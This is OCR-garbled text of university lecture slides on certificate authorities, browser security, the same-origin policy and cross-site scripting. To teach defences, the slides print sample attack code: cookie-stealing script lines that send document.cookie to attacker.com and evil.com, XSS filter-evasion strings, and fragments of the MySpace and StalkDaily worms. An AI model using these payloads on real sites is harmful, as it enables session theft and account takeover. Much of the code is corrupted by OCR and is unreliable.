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Logistics y
e Lab 2 will be out this week(/
 Fun web-stuff

* Once again, somewhat puzzle-like exploit work
* Need a partner? Use the megathread

* Lab 1b is due Friday 11:59pm
g



OpenSSL: High-severity vulnerability

n=n+1i/ (weitten out + 1);
i %= (written out + 1);

if (written _out > max out)
return 0;

__memmove(pDecoded + i + 1, pDecoded + i,



OpenSSL: High-severity vulnerability
&4«‘70/?0
n=n+ 1/ (weitten out + 1); 15\1
i %= (written out + 1);

if (written out > max out)

return 0; '

memmove(pDecoded + i + 1, pDecoded + i,

—
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Finishing up certificates



Trusted(?) Certificate Authorities
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Keychain Access

é Click to unlock the System Roots keychain.

Keychains
@m login
@m Local ltems
(= System
System Roots

Category
/i All ltems
/ Passwords
Secure Notes
My Certificates
i Keys
Certificates

A

=
6}‘/‘/%{'({/#
i
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Name

{ { { { i i i
o] et et et lef] i et

f f f f {
ot et et et et

Apple Root CA
Root certificate authority
-m-r Expires: Friday, February 9, 2035 at 1:40:36 PM Pacific Standard Time

@ This certificate is valid

AdminCA-CD-T01

AffirmTrust Commercial
AffirmTrust Networking

AffirmTrust Premium

AffirmTrust Premium ECC

~ Kind
certificate
certificate
certificate
certificate
certificate

America Onli...cation Authority 1 certificate

America Onli...cation Authority 2 certificate

Apple Root CA
Apple Root CA - G2
Apple Root CA - G3

Apple Root Certificate Authority

Application CA G2
ApplicationCA

i Copy

certificate

certificate
certificate
certificate
certificate
certificate

213 items

Expires

Jan 25, 2016, 4:36:19 AM
Dec 31, 2030, 6:06:06 AM
Dec 31, 2030, 6:08:24 AM
Dec 31, 2040, 6:10:36 AM
Dec 31, 2040, 6:20:24 AM
Nov 19, 2037, 12:43:00 PM
Sep 29, 2037, 7:08:00 Aé__
Feb 9, 2035, 1:40:36 PM
Apr 30, 2039, 11:10:09 AM
Apr 30, 2039, 11:19:06 AM
Feb 9, 2025, 4:18:14 PM
Mar 31, 2016, 7:59:59 AM
Dec 12, 2017, 7:00:00 AM
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Th

e saying holds that the =
world is supported by a chain
of increasingly large turtles.
Beneath each turtle is yet
another: it is "turtles all the
way down".

#

[Image from Wikipedia]
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Corporate CAs? -- pollev. co m/g/k@lﬂ\bw

* Many corporations require that all company machines have an
additional Root Certificate installed, owned and controlled by the
company IT.

* This would allow the company to create a certificate for any website,
service, etc. they want and have it trusted by any company machine.
(But not by anyone else’s).

 Why would corporate IT want this capability?
 What might they use it for?



Many Challenges...
+ Hash collisions/ &~ les eg’m 155w Mw

* Weak security at CAs
* Allows attackers to issue rogue certificates

* Users don’t notice when attacks happen = u&wg‘\ H

 We’'ll talk more about this later in the course

 How do you revoke certificates?

/\,
A 5%
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DigiNotar Hacked by Black.Spook and Iranian Hackers Posted by Mikko @ 09:05 GMT | Comments

[}
DigiNotar is a Dutch Certificate Authority. They sell SSL certificates. Atta c kI ng CAS

|3 DigiNotar B.V. (0034104347) [NL]| https://www.diginotar.nl = W

DigiNotar’ | Security of DigiNotar

HOME ACTUEEL PRODUCTEN
A G VIRNSCED> COMPANY Servers:

* All core certificate

, - servers controlled by a
/ e single admin password
j g /It w (Prod@dm1n)

|
‘I

e Software on public-
facing servers out of
date, unpatched

* No anti-virus (could

Ga direct naar ... » have detected attack)
DigiNotar®, Internet Try

'!-"-""

Certificaat voor Digipoort ) o =
Dé onafhankeliike partii voor

Somehow, somebody managed to get a rogue SSL certificate from them on July 10th, 2011. This certificate was issued for domain
name .google.com.

What can you do with such a certificate? Well, you can impersonate Google — assuming you can first reroute Internet traffic for
google.com to you. This is something that can be done by a government or by a rogue ISP. Such a reroute would only affect users

11/7/2022 within that country or under that ISP.



More Rogue Certs

* In Jan 2013, a rogue *.google.com certificate was issued by an

intermediate CA that gained its authority from the Turkish root CA
TurkTrust

e TurkTrust accidentally issued intermediate CA certs to customers who requested
/) regular certificates

* Ankara transit authorlt used |ts certificate to issue a fake *.google.com certificate in
order to fi

* This rogue
world

*.google.com certifi
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Bad CAs
7=

i Da rkMatter (https://groups.google.com/g/mozilla.dev.security.policy/c/nnLVNfggz7g/m/TseYgDzaDAAJ and
\7 https://bugzilla.mozilla.org/show bug.cgi?id=1427262)

* Security company wanted to get CA status
* Questionable practices

¢ Syma ntecl (https://wiki.mozilla.org/CA:Symantec Issues)

//? * Major company, regular participant in standarda
* Poor practices, mismanagement 2013-2017 é/—
e CA distrusted in Oct 2018

* Recall: Turtles all the way down. How can we trust the CAs? What happens if we
can’t?
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https://groups.google.com/g/mozilla.dev.security.policy/c/nnLVNfqgz7g/m/TseYqDzaDAAJ
https://bugzilla.mozilla.org/show_bug.cgi?id=1427262
https://wiki.mozilla.org/CA:Symantec_Issues

Certificate Revocation W

* Revocation is very important

* Many valid reasons to revoke a certificate

* Private key corresponding to the certified public key has been
compromised

e User stopped paying their certification fee to this CA and CA no longer
wishes to certify them

e CA’s private key has been compromised!

* Expiration is a form of revocation, too
* Many deployed systems don’t bother with revocation

/ * Re-issuance of certificates is a big revenue source for certificate
authorities
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Certificate Revocation Mechanisms

e Certificate revocation list (CRL)

* CA periodically issues a signed list of revoked certificates
e Credit card companies used to issue thick books of canceled credit card numbers

* Canissue a “delta CRL” containing only updates

* Online revocation service

 When a certificate is presented, recipient goes to a special online
service to verify whether it is still valid

* Like a merchant dialing up the credit card processor
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Attempt to Fix CA Problems: C//r
Certificate Transparency

* Problem: browsers will think nothing is wrong with a rogue certificate
until revoked

* Goal: make it impossible for a CA to issue a bad certificate for a
domain without the owner of that domain knowing

» Approach: auditable certificate logs &—
 Certificates published in public logs
e Public logs checked for unexpected certificates

www.certificate-transparency.org l
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Paper Discussion Time!

“Mining Your Ps and Qs: Detection of Widespread Weak Keys in
Network Devices”

adia Heninger, Zakir Durumeric, Eric Wustrow, J. Alex Halderman

(@f@ y (F‘ *(>

* Choose one/more and discuss with neighbors:
* Why does GCD ‘break’ keys in this case?
* How does the GCD tree optimization work?
* Why did some keys have similar factors? <
* How did they gather keys to check?
« What was their suggested fix? =—



Next Major Topic!
Web+Browser Security



Big Picture: Browser and Netw

=

11/7/2022

Browser

rk
A 7) S
y \Yebsite
M \‘
Network
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Where Does the Attacker Live?

Mitigation: SSL/TLS
/(not covered fur;r;
'SE A - website

/7

Mitigation: Browser
security model + web
app security
(this/next week)

|

e

Browser

74
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Two Sides of Web Security

(1) Web browser
* Responsible for securely confining content presented by visited websites

(2) Web applications

* Online merchants, banks, blogs, Google Apps ...

* Mix of server-side and client-side code
e Server-side code written in PHP, JavaScript, C++ etc.

e Client-side code written in JavaScript (... sort of) {——— \7 OL?’\)
* Many potential bugs: XSS, XSRF, SQL injection & VA
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But at least 3 actors!
N

User
+

Browser

 http://a.com | =@  http://b.com /D x

A.com Network
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Browser: All of These Should Be Safe

3 http://a.com lg (x]
e Safe to visit an evil website
7 A.com
3 http://a.com lg (x]

* Safe to visit two pages —9

e Simultaneously
* Sequentially

* Safe delegation . 7

11/7/2022 CSEP 564 - Fall 2022

A.com




7.9

Browser Security Model

/O

Goal 1: Protect local system from web attacker(/
- Browser Sandbox A.com

)

ontent from other web content A——

[=)@lx /O

— Same Origin Policy

A.com B.com

) =1{F

A.com

B.com
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Browser Sandbox

Goals: Protect local system from web attacker; protect websites from
each other
, : : /ACL on G N T‘\’
* E.g., safely execute JavaScript provided by a website

 No direct file access, limited access to OS, network, browser data, content
from other websites '\ AN ™ 8\ A

e Tabs (new: also iframes!) in their own processes
* Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

High-quality report with

functional exploit
Sandbox escape / Memory corruption in a non-sandboxed process $30,000 OK A

From Chrome Bug Bounty Program
11/7/2022 CSEP 564 - Fall 2022


https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

o C 0R>
Same Origin Policy —

Goal: Protect/isolate web content from other web content

Gz L L 3 &=
Website origin = (scheme, domain, port) 74 c;k@ —

Compared URL Outcome Reason

~——?tpﬂwww.example.co /dir/page.html Success Same protocol and host
_
http//www.example.comy/dir2/other.html) | Success Same protocol and host
/\>http:fﬁwww.example.codiriother.html Failure Same protocol and host but different port
—

— e —

‘_,/7 https://www.example.com/dir/other.html Failure Different protocol

/,% http:ﬂil;example.com!dir!other.htmI Failure Different host
/7http:ﬂexample.comfdiriother.html Failure Different host (exact match requi

/thtp:ﬂvzwww.example.comfdiriother.html Failure Different host (exact match required)
( [Example from Wikipedia]
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Same Origin Policy is Subtle!

e Browsers don’t (or didn’t) always get it right...

* Lots of cases to worry about it:

DOM / HTML Elements =—

Navigation =—

Cookie Reading 49 i
Cookie Writing /7

Iframes vs. Scripts <—
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OOMMK 6\9\;&({ M‘)A@L
HTML + DOM ™+ JavaScript

d
<html> <body>

%;fh1>This is the title</hl>

Document Object

<div>

<p>This is a sample page.</p>wé:—
<script>alert(“Hello world”);</script>£25
<iframe src=“http://exayyle.com”>
</iframe> y— V

</div>

</body> </html>
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/\\L'

Same-0Origin Policy: DOM

Only code from same origin can access HTML elements
on another site (or in an iframe).

www.bank.com (the parent)
can access HTML elements in
the iframe (and vice versa).

11/7/2022

<html> <body>

<iframe
src="“http://www.bank.com/iframe.html”>

</iframe>
</body> </html>

www.evil.com (the parent)
cannot access HTML elements
in the iframe (and vice versa).
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http://www.example.com/
http://www.example.com/iframe.html
http://www.evil.com/
http://www.example.com/iframe.html
http://www.example.com/
http://www.evil.com/

Browser Cookies

e HTTP is stateless protocol

S—— \

* Browser cookies are used to introduce state
* Websites can store small amount of info in browser
* Used for authentication, personalization, tracking...
* Cookies are often secrets

POST login.php
username and pwd
N

< N
Browser HTTP Header: Set-cookie:
login_token=13579; - }

v

domain = (who can read) ; Server
expires = (when expires)

~

GET restricted.html £—
ﬁCookie: login_token=13579

11/7/2022 CSEP 564 - Fall 2022
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Same Origin Policy: Cookie Writing

L

Which cookies can be set by login.site.com?

allowed domains disallowed domains
\/Iogin.site.com X othersite.com &
\/ .site.com & X .com &

X user.site.com

login.site.com can set cookies for all of .site.com (domain suffix), but not for
another site or top-level domain (TLD)
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Problem: Who Set the Cookie?

7
p(\lt 3 ?’/ login.site.com

< Set-Cookie:

Domain: .site.com &
Browser Value: userid=alice, token=1234

| - -

] ] Set-Cookie: B
Not a violation Domain: .site.co

of the SOP! /})/alue: userid=bob, token=5678
ker i Jalw

Cookie: userid=bob, token=5678

evil.site.com
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.. : : 6u\0 (% ou\-(i—
Same-0rigin Policy: Scripts e

* When a website includes a script, that script runs in A
the context of the embedding website. 7\(/

The code from ?D? (

http://otherdomain.com
can access HTML elements
and cookies on
www.example.com.

A

* If code in script sets cookie, under what origin will it be set?

7

* What could possibly go wrong...?
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http://www.example.com/
http://otherdomain.com/
http://www.example.com/

Foreshadowing:
SOP Does Not Control Sending

* A webpage can send information to any site
* Can use this to send out secrets...
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Example: Cookie Theft

* Cookies often contain authentication token
* Stealing such a cookie == accessing account

e Cookie theft via malicious JavaScript
<a href="#"

— Honclick="window.location="http://attacker.com/stole.cgi?cookie="+document.cookie; return
false;">Click here!</a> ,W‘g\o -\_—7[7 —_

* Aside: Cookie theft via network eavesdropping
e Cookies included in HTTP requests
* One of the reasons HTTPS is important!

=
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Cross-0Origin Communication

e Sometimes you want to do it...

* Cross-origin network requests

e Access-Control-Allow-Origin: <list of domains>
.,,/7
e Unfortunately, often: e
Access-Control-Allow-Orig (/

* Cross-origin client side communication

c\moé /77

\\/

‘—Crw“f/
[C/CL/

* HTML5 postMessage between frames
e Unfortunately, many bugs in how frames check sender’s origin

C OR>
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What about Browser Plugins?

O v \
. Examples@silverlight, Javaﬁ@/ (f\/\LLjC

* Goal: enable functionality that requires transcending the
browser sandbox

* Increases browser’s attack surface

Java and Flash both vulnerable—again—to
new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

* Good news: plugin sandboxing improving, and need for
plugins decreasing (due to HTML5 and extensions)

&\c'wcxvf c (box
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Goodbye Flash

11/7/2022

Get ready to finally say goodbye to Flash —
in

rederic Lardinois (@fredericl

EERCE

“As of mid-October 2020, users started being prompted by Adobe to
uninstall Flash Player on their machines since Flash-based content will
be blocked from running in Adobe Flash Player after the EOL Date.”
https://www.adobe.com/products/flashplayer/end-of-life.html
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https://www.adobe.com/products/flashplayer/end-of-life.html

What about Browser Extensions?

* Most things you use today are probably extensions
* Examples: AdBlack, Ghostery, Mailvelope
* Goal: Extend the functionality of the browser

e (Chrome:) Carefully designed security model to protect from
malicious websites

* Privilege separation: extensions consist of multiple components with well-
defined communication

* Least privilege: extensions request permissions



What about Browser Extensions?

e But be wary of malicious extensions: not subject to the same-origin policy — can
inject code into any webpage!

Add "Mailvelope"?

It can:
* Read and change all your data on the websites you visit
/—\ o
Cancel Add extension
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Extensions in flux

* Google has (attempted) to standardize how extensions work

<
* “Manifest v3” is the new specification
* Upends how extensions get access to pages

* Changes how they can execute code

* Generally, slow progress towards making them safer to use



| | 547
Summing up browser security ~  ———

* Browsers are a critical consumer target today
e Large attack surface

* Many assets to protect

* Wide usage



Review Slide: Web Security Overview

* Browser security model
* Browser sandbox: isolate web from local machine
* Same origin policy: isolate web content from different domains
* Also: Isolation for plugins and extensions

* Web application security
* How (not) to build a secure website
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Web Application Security:

How (Not) to Build a Secure Website



Dynamic Web Application

11/7/2022

Browser

GET /HTTP/1.1

&

HTTP/1.1 200 OK
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( index.php 2

S

Vs 4

AN

Microsoft

SQL Server

Database
server

(£




http://www.owasp.org

'OWASP Top 10 Web Vulnerabilities%y)r
(0 J2072-

1. Broken Access Control ~a
P res %

Insecure Design

Security Misconfiguration

Vulnerable and Outdated Components
Identification and Authentication Failures
Software and Data Integrity Failures

4.
5.
6.
7.
8.
9.

10. Server-Side Request Forgery

Security Logging and Monitoring Failures
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http://www.owasp.org/
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Cross-Site Scripting
(XSS)

g

yas



PHP: Hypertext Processor

* Server scripting language with C-like syntax
* Can intermingle static HTML and code

— <input value=<?php echo Smyvalue; ?>>
—_— .

e Can embed variables in double-quote strings

—) Suser ="world"; echo “Hello Suser!”;
or Suser = "“world”; echo “Hello” . Suser. “1”;

* Form data in global arrays S_GET, S_POST, ...

e
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Echoing / “Reflecting” User Input

Classic mistake in server-side applications
Ny . “ ,,
http://nawe.com/%@p?term= Can | go back to campus yet?"

—/

__~ search.php responds with

<html> <title>Search results</title> U

PR

<body>You have searched for <?php echo S_GET[term] ?>... </body>
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Echoing / “Reflecting” User Input

naive.com/hello.php?name=Limg

naive.co m/ h € | | 0. p h p ? name= src="http://upload.wikimedia.org/wikipedia/en/thumb/3/3

U ser 9/YoshiMarioParty9.png/210px-YoshiMarioParty9.pnqg’> /
—_—
Welcome, dear User Welcome, dear

I
¥
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http://www.cs.washington.edu/homes/yoshi/support/kohno-stairs2.jpg

11/7/2022

Cross-ﬁite Scripting (XSS)
evil.com

K(/ naive.com
PR hello.cgi
(ﬁeﬁss some web page
_<iframe src=
7] http://naive.com/hello.cgi? _| GET/ hello.cgi?name=
name=<script>win.open > <script>win.o en(’V httL):// .,
http://evil.com/steal.cgi? evil.com/steal.cgi?cookie="+ > hello cgi
cookie="+document.cookie) document.cookie)</script> )
</script>> executed
<HTML>Hello, dear
Forces victim’s browser to |_p<script>win.o en(“httr{):// ” [
call hello.cgi on naive.com e\éil.com/st;cea .C j?)co/o i¢=t
: : : u " +document.cookie)</script>
with this script as "name Welcome</HTMLS P
GET/ steal.cgi?cookie= &

Interpreted as JavaScript
by victim’s browser;
victim’s browser

opens window and calls
steal.cgi on evil.com
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Basic Pattern for Reflected XSS

Injected script can manipulate website
to show bogus information, leak

sensitive data, cause user’s browser to
attack other websites. This violates the

Attack server
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Reflected XSS

e User is tricked into visiting an honest website
* Phishing emalil, link in a banner ad

* Bug in website code causes it to echo to the user’s browser an
arbitrary attack script

* The origin of this script is now the website itself!

 Script can manipulate website contents (DOM) to show bogus
information, request sensitive data, control form fields on this page
and linked pages, cause user’s browser to attack other websites

* This violates the “spirit” of the same origin policy
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Stored XSS

Attack server

Inject
malicious
script

Store bad stuff

Users view or

download content
Server victim
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Where Malicious Scripts Lurk

e User-created content
* Social sites, blogs, forums, wikis

* When visitor loads the page, website displays the content and
visitor’s browser executes the script

* Many sites try to filter out scripts from user content, but this is difficult!
¥""—\____‘__’__7 \!

—
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In all XSS there are 3 actors

e Adversary <=

* Server victim &

« User victim <S5~
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oyle use vconen]. £ pm

vollevemblalhe

How might we defend against XSS?

11/7/2022

evil.com

(Think about this from multiple perspectives: if you were
'naive.com' or even the browser)

ﬂ some web page -

]| <iframe src=
http://naive.com/hello.cgi?
name=<script>win.open
http://evil.com/steal.cgi?
cookie="+document.cookie)
</script>>

= Anm

N -

naive.com
heIIo.cgiJ
GET/ hello.cgi?name=
<script>win.o en(’V httL):// .,
evil.com/steal.cgi?cookie="+ > hello cgi
document.cookie)</script> )
executed

N

Forces victim’s browser to
call hello.cgi on naive.com «
with this script as “name”

<HTML>Hello, dear
<script>win.open( httE://”
evil.com/steal.cgi?cookie=
+document.cookie)</script>
Welcome!</HTML>

GET/ steal.cgi?cookie= &

<

victim’s browser

Interpreted as JavaScript
by victim’s browser;
opens window and calls
steal.cgi on evil.com

N
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Preventing Cross-Site Scripting

* Any user input and client-side data must be preprocessed before it is
used inside HTML

* Remove / encode HTML special characters F—

* Use a good escaping library

« OWASP ESAPI (Enterprise Security APIU
* Microsoft’s AntiXSS

* In PHP, htmlspecialchars(string) will replace all special characters with their

//7 HTML codes '
* ‘becomes &#039; “ becomas &quot; & ecome

* In ASP.NET, Server.Html|Encode(string)
)

|
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Evading Ad Hoc XSS Filters

* Preventing injection of scripts into HTML is hard! = Use standard

APIs
/7 . Blocking@nd “>" is not enough L _/—

e Event handlers, stylesheets, encoded inputs (%3C), etc.
 phpBB allowed simple HTML tags Iik

<b ¢=">" onmouseover="script” x="“<b ">Hello<b>

/i\
* Beware of filter evasion tricks (XSS Cheat Sheet)<—

* If filter allows quoting (of <script>, etc.), beware of malformed quoting:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

* Long UTF-8 encoding
* Scripts are not only in <script>:K
<iframe src="https://bank.com/login’ onload=‘steal()’>

- A
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https://samy.pl/myspace/tech.html

MySpace Worm (1)

e Users can post HTML on their MySpace pages

* MySpace does not allow scripts in users’ HTML %
* No <script>, <body>, onclick, <a href=javascript://>

4 )
+ ... but does allow <div> tags for CSS.
o <div style="background:url(‘javascript:alert(1)’)">
. . t_(l‘ T\ . )
* But MySpace will stplp out “javascript
e Use “java<NEWLINE>script” instead
* But MySpace will strip out quotes

e Convert from decimal instead:

alert('double quote: ' + String.fromCharCode(34))
ﬂ(\
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https://samy.pl/myspace/tech.html

https://samy.pl/myspace/tech.html

MySpace Worm (2)

11/7/2022

Resulting code:

<div id=mycode style="BACKGROUND: url(' Java
script: evalzldocument all.mycode. expr)g" expr="var B=String.fromCharCode(34) Var A=String.fromCharCode(39);function gg var C;try{var
D=document. bod .createTextRan e() D.htmlText} catch ii}lf({?) {return }e se{return eval('document. b0 yrnne’+’rHTM functlon
etData(AU){ EgetFromURL A frlendID' ;L=getFrom 'Mytoken')} function getQue Params {var E=document. locatlon search;var
=E. substrln len th sEht( & ‘var AS—new Array() for(var 0=0; O<F length O++){var I=F[O] spht('—) ASI[I[0]]=][ 1]} return AS}var J;var
AS=getQuery arams ;var L=AS['Mytoken'];var
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MySpace Worm (3)

 “There were a few other complications and things to get around. This was not by any
means a straight forward process, and none of this was meant to cause any damage or
[make anyone angry]. This was in the interest of..interest. It was interesting and fun!”

 Started on “samy” MySpace page

* Everybody who visits an infected page, becomes infected and adds “samy”
as a friend and hero

* 5 hours later “samy” has 1,005,831 friends

* Was adding 1,000 friends
per second at its peak

-

SAMY IS MY HERO


https://samy.pl/myspace/tech.html

Twitter Worm (2009)

* Can save URL-encoded data into Twitter profile
* Data not escaped when profile is displayed

* Result: StalkDaily XSS exploit
* If view an infected profile, script infects your own profile

var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures,
videos, and so much more! ");

var xss = urlencode('http://www.stalkdaily.com"></a><script
src="http://mikeyylolz.uuuq.com/x.js" > </script><script src="http://mikeyylolz.uuug.com/x.js"></script><a ');

var ajaxConn = new XHConné);
ajaxConn.connect(“/status/update”, "POST",

"authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update"),
ajaxConn1l.connect(“/account/settings"”, "POST",

"authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update”)

http://dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/
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